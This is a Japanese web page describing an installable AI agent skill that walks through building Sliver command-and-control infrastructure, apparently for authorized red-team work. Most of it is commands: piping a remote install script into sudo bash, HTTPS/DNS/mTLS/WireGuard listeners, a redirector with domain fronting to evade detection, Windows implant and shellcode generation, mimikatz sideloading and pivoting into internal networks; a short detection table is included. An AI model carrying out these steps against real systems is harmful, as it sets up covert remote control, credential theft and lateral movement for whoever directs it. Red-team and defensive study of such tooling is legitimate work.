Communitygithub.com

SliverフレームワークによるC2インフラ構築

BishopFoxのSliverフレームワークを使用してC2チームサーバーをデプロイし、強化する方法を解説します。

SliverフレームワークによるC2インフラ構築 とは?

このスキルは、オープンソースの対抗エミュレーションフレームワークであるSliver(BishopFox開発、Go言語製)を用いて、堅牢なC2(Command & Control)インフラストラクチャを構築するための包括的なガイドを提供します。HTTPS、mTLS、DNS、WireGuardといったマルチプロトコル対応のリスナー設定、NGINXリダイレクタやCloudflareのドメインフロンティングによるトラフィック難読化、ビーコン(非同期)およびセッション(対話型)モードのインプラント生成、さらにチーム間のマルチオペレーター運用や内部ネットワークへのピボットなど、実戦的なレッドチーム運用に必要な全工程を網羅します。MITRE ATT&CKフレームワークへのマッピングも含まれており、セキュリティ評価やトレーニング環境での安全な実装に役立ちます。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-infrastructure-with-sliver-framework

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

SliverフレームワークによるC2インフラ構築 は何をしますか?

概要

Sliverは、BishopFoxが開発したオープンソースのクロスプラットフォーム対抗エミュレーションフレームワークで、Go言語で記述されています。レッドチームに、インプラント生成、マルチプロトコルC2チャネル(mTLS、HTTP/S、DNS、WireGuard)、マルチオペレーターサポート、および広範なポストエクスプロイテーション機能を提供します。Sliverはビーコン(非同期)モードとセッション(対話型)モードをサポートしており、長期運用と対話型エクスプロイテーションの両方に適しています。適切に設計されたSliverインフラストラクチャは、リダイレクタ、ドメインフロンティング、HTTPS証明書を使用して、運用上の回復力を維持し、検出を回避します。

使用するタイミング

  • 環境内でSliverフレームワークによるC2インフラ構築機能をデプロイまたは設定する場合
  • コンプライアンス要件に沿ったセキュリティコントロールを確立する場合
  • このドメインのセキュリティアーキテクチャを構築または改善する場合
  • この実装を必要とするセキュリティ評価を実施する場合

前提条件

  • レッドチームの概念とツールに関する知識
  • 安全な実行のためのテスト環境またはラボ環境へのアクセス
  • Python 3.8以上と必要な依存関係がインストールされていること
  • テスト活動に対する適切な承認

目的

  • 強化されたクラウドインフラ上にSliverチームサーバーをデプロイする
  • HTTPS、mTLS、DNS、WireGuardリスナーを設定する
  • ターゲットプラットフォーム用のインプラント(ビーコンおよびセッション)を生成する
  • インプラントとチームサーバー間にNGINXまたはApacheリダイレクタを設置する
  • CloudflareまたはCDNベースのドメインフロンティングを実装してトラフィックを難読化する
  • 証明書ベースの認証によるマルチオペレーターアクセスを設定する
  • C2通信のための運用セキュリティコントロールを確立する

MITRE ATT&CKマッピング

  • T1071.001 - アプリケーション層プロトコル:Webプロトコル
  • T1071.004 - アプリケーション層プロトコル:DNS
  • T1573.002 - 暗号化チャネル:非対称暗号
  • T1090.002 - プロキシ:外部プロキシ(リダイレクタ)
  • T1105 - イングレスツール転送
  • T1132.001 - データエンコーディング:標準エンコーディング
  • T1572 - プロトコルトンネリング

ワークフロー

フェーズ1:チームサーバーのデプロイ

  1. チームサーバー用のVPS(例:DigitalOcean、Linode、AWS EC2)をプロビジョニングする
  2. OSを強化する:SSHパスワード認証を無効化、UFW/iptablesを設定、fail2banをインストール
  3. 公式インストールスクリプトを使用してSliverをインストールする:
    curl https://sliver.sh/install | sudo bash
    
  4. Sliverサーバーデーモンを起動する:
    systemctl start sliver
    # または対話的に実行
    sliver-server
    
  5. チームメンバー用のオペレーター設定ファイルを生成する:
    new-operator --name operator1 --lhost <team-server-ip>
    

フェーズ2:リスナー設定

  1. 有効なSSL証明書を使用してHTTPSリスナーを設定する:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. フォールバックC2用のDNSリスナーを設定する:
    dns --domains c2dns.example.com --lport 53
    
  3. 高セキュリティセッション用のmTLSリスナーを設定する:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. トンネルアクセス用のWireGuardリスナーを設定する:
    wg --lport 51820
    

フェーズ3:リダイレクタのセットアップ

  1. ターゲットとチームサーバーの間に別のVPSをリダイレクタとしてデプロイする
  2. NGINXをリバースプロキシとしてインストールおよび設定する:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. チームサーバーで、リダイレクタからの接続のみを受け入れるようにiptablesルールを設定する:
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. オプションで、ドメインフロンティングのためにリダイレクタの前面にCDNレイヤーとしてCloudflareを設定する

フェーズ4:インプラント生成

  1. HTTPSビーコンインプラントを生成する:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. 制限されたネットワーク向けにDNSビーコンを生成する:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. インジェクション用のシェルコードペイロードを生成する:
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. ビーコンのジッターとコールバック間隔を設定する:
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    

フェーズ5:ポストエクスプロイテーション操作

  1. アクティブなビーコン/セッションと対話する:
    beacons        # アクティブなビーコンを一覧表示
    use <beacon-id> # ビーコンと対話
    
  2. ポストエクスプロイテーションモジュールを実行する:
    ps              # プロセス一覧
    netstat         # ネットワーク接続
    execute-assembly /path/to/Seatbelt.exe -group=all  # .NETアセンブリの実行
    sideload /path/to/mimikatz.dll  # DLLのロード
    
  3. 内部ネットワークアクセス用のピボットを設定する:
    pivots tcp --bind 0.0.0.0:9898  # 侵害されたホスト上にピボットリスナーを作成
    
  4. メモリ内実行のためにBOF(Beacon Object Files)を使用する:
    armory install sa-ldapsearch  # Armoryからインストール
    sa-ldapsearch -- "(objectClass=user)"  # BOFを実行
    

ツールとリソース

ツール目的プラットフォーム
SliverサーバーC2チームサーバーとインプラント管理Linux/macOS/Windows
Sliverクライアントチームメンバー用のオペレーターコンソールクロスプラットフォーム
NGINXリダイレクタおよびリバースプロキシLinux
CertbotLet's Encrypt SSL証明書の生成Linux
CloudflareCDNとドメインフロンティングクラウド
ArmorySliver拡張機能/BOFパッケージマネージャー内蔵

検出シグネチャ

指標検出方法
デフォルトのSliver HTTPヘッダー異常なUser-Agent文字列のネットワークトラフィック分析
非標準ポートでのmTLS異常なポートへのアウトバウンド接続のファイアウォールログ
高エントロピーなDNS TXTレコードクエリエンコードされたC2トラフィックのDNSログ分析
ポート51820でのWireGuard UDPトラフィックWireGuardハンドシェイクパターンのネットワークフロー分析
Sliverインプラントファイルハッシュ既知のSliverサンプルに対するEDR/AVシグネチャマッチング

検証基準

  • チームサーバーがデプロイされ、ファイアウォールルールで強化されている
  • HTTPSリスナーが有効なSSL証明書で設定されている
  • DNSリスナーがフォールバックC2チャネルとして設定されている
  • ターゲットとチームサーバー間に少なくとも1つのリダイレクタがデプロイされている
  • マルチオペレーターアクセスが一意の証明書で設定されている
  • ターゲットオペレーティングシステム用のインプラントが生成されている
  • ステルス性のためビーコンコールバック間隔とジッターが設定されている
  • ポストエクスプロイテーションモジュールがテストされている(プロセス一覧、.NETアセンブリ実行)
  • 内部ネットワークアクセス用のピボット機能が検証されている
  • すべてのC2トラフィックが暗号化され、リダイレクタを通過している

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

関連スキル